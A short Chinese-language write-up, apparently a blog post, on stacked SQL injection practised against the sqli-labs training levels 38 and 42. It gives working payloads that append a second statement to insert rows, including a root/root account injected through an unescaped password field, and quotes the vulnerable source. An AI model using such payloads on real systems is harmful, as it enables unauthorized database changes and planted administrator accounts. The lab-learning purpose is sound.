在BUUCTF上做了一道web题,涉及到了堆叠注入,所以就来记录一下。
在SQL语句中,语句的结束都是以;结尾,但是如果我们在;后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了
最简单的语句select * from users;DELETE FROM test
先查询user表,然后再从test数据库里删除user表。
下面我们进行实战
靶场:sql-libs38
先判断闭合点,为’
再构造payload:?id=1’ order by 4 %23
判断出列数为3列
第38关可以理解为盲注,第二条语句的对错不会给我们回显
好,我们先构造payload:?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23
``
但是呢
页面没有回显,我们去数据库看一下
最后一行,username:aaa,password:bbb已经成功插入进数据库
如果我们添加的是管理员的账号和密码,那又是什么样的结果。
这一关不明显,我们去试试第42关
sql-libs-42
因为刚刚已经插入进去了aaa,现在直接构造payload登录
①username:aaa';insert into users(id,username,password) values(60,'root','root')#
password:bbb
去查了数据库发现没有添加成功,但是语句没错,考虑对username进行了过滤或者其他防护措施。
②username:aaa
password:bbb';insert into users(id,username,password) values(60,'root','root')#
再试试对password进行堆叠
登陆成功
查看数据库
插入成功了
去看了一下42关的源码
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
对用户名进行了转义,但是password直接以post方式提交了,这就造成了堆叠注入。